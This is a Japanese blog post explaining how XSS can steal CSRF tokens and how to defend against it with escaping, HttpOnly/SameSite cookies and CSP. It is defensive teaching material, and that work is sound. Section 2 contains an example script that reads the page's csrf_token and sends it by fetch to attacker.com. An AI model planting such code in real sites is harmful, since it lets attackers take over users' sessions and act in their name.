「XSSでCSRFトークンが盗まれる?」攻撃の連鎖を防ぐための防犯講座
こんにちは!セキュリティの現場で日々、泥臭い攻防を繰り広げているエンジニアです。
今日は、開発現場でよく耳にする「XSS(クロスサイト・スクリプティング)」と「CSRF(クロスサイト・リクエスト・フォージェリ)」という、ちょっと難しそうな二つの攻撃が、結託して襲いかかってくる最悪のシナリオについてお話しします。
「名前が似ていてややこしい!」と思うかもしれませんが、大丈夫。身近な「家の防犯」に例えて、一つずつ紐解いていきましょう。
—
1. まずは整理:泥棒の役割分担
セキュリティの世界では、攻撃者はよくチームプレーをします。
- XSS(泥棒の「合鍵職人」):
ウェブサイトに「悪意のあるプログラム(スクリプト)」を忍び込ませて、あなたのブラウザ上で勝手に動かします。あなたのブラウザに「このサイトの機密情報を見せて」と命令を下せる、最強の合鍵職人です。
- CSRF(泥棒の「成りすまし犯」):
あなたがログインしていることを悪用して、あなたの代わりに「パスワード変更」や「送金」といった重要な操作をWebサイトにリクエストさせます。
「XSSでCSRFトークンを盗む」とは、どういうことか。
本来、CSRFを防ぐためにWebサイトは「CSRFトークン」という「使い捨ての秘密の合言葉」を個人の画面に発行しています。しかし、XSSで画面を操作できる状態になると、泥棒はあなたの画面を覗き見して、その「合言葉」をそのまま盗み出せてしまうのです。
これで、泥棒は「正当な通行人」として、正面突破で悪行を働けるようになります。これが「攻撃の連鎖」の恐ろしさです。
—
2. なぜ「合言葉」が盗まれるのか?
Webサイトは、ユーザーが送った操作が「本人の意思によるものか」を確認するために、裏側でトークンをチェックしています。
もし、あなたのサイトにXSSの穴があると、攻撃者は以下のような短いプログラムを実行させます。
// 攻撃者のコード:画面上のトークンをこっそり盗む
const token = document.querySelector(‘input[name=”csrf_token”]’).value;
// 盗んだトークンを攻撃者のサーバーへ送信!
fetch(‘https://attacker.com/steal?token=’ + token);
こうなると、もう防壁は崩壊したも同然です。では、どうやってこれを防げばいいのでしょうか?
—
3. 「二重の防犯」でサイトを守る
対策は、泥棒を家に入れない工夫と、入ってきても金庫を開けさせない工夫の組み合わせです。
対策その1:XSSを防ぐ(入り口の封鎖)
まずは、合鍵を作らせないこと。ユーザーから受け取ったデータを、そのまま画面に出力してはいけません。
- エスケープ処理を徹底する: のようなHTMLタグを「ただの文字列」として扱う処理です。
- 信頼できるフレームワークを使う: 最近のReactやVue.jsなどは、デフォルトでこの対策が組み込まれているので、積極的に活用しましょう。
対策その2:Cookieを守る(奥の防犯)
CSRFトークンが盗まれても、セッション情報(あなたがログインしている証拠)を盗ませなければ被害は最小限です。
HttpOnly属性という設定をご存知でしょうか? これをCookieに付与すると、JavaScriptからそのCookieを読み取ることができなくなります。つまり、XSSでスクリプトが動いても、ログイン情報を盗めなくなるのです。// PHPでのセッションクッキー設定例
session_set_cookie_params([
‘lifetime’ => 0,
‘httponly’ => true, // JavaScriptからのアクセスを禁止する(重要!)
‘secure’ => true, // HTTPS通信時のみ送信する
‘samesite’ => ‘Lax’ // CSRF対策の強力な味方「SameSite」属性
]);
session_start();—
4. 今日からできるアクション
最後に、現場で今日から意識してほしい「防御の心得」を3つだけ挙げます。
1. 「入力はすべて疑え、出力はすべてエスケープせよ」: これが鉄則です。ユーザーが入力した文字をそのまま画面に表示するのは、家のドアを全開にするのと同じです。
2.SameSite=LaxまたはStrictを設定する: ブラウザのCookie設定で、サイトをまたいだリクエストを制限できます。これだけでCSRFの成功率は劇的に下がります。
3. セキュリティヘッダーを活用する:Content-Security-Policy (CSP)を設定しましょう。「このサイトで許可されていない外部スクリプトは一切動かさない」という強力な鎖です。CSPの設定例(HTTPヘッダー)
信頼できる場所からのスクリプトしか実行させない設定
Content-Security-Policy: default-src ‘self’; script-src ‘self’;—
最後に:完璧な防壁はない、だから多層防御を
セキュリティに「絶対」はありません。XSSの穴を見つけられる可能性はゼロではないし、ブラウザの新しい脆弱性が明日見つかるかもしれません。
だからこそ、「XSSで盗まれても、Cookieは読ませない」「CSRFトークンが盗まれても、Cookieがなければ操作は成立させない」という、複数の防犯ラインを重ねることが大切なんです。
焦らず、一つずつ自分のサイトのドアを固めていきましょう。何かあればいつでも相談してくださいね。一緒に安全なWebの世界を作っていきましょう!
コメント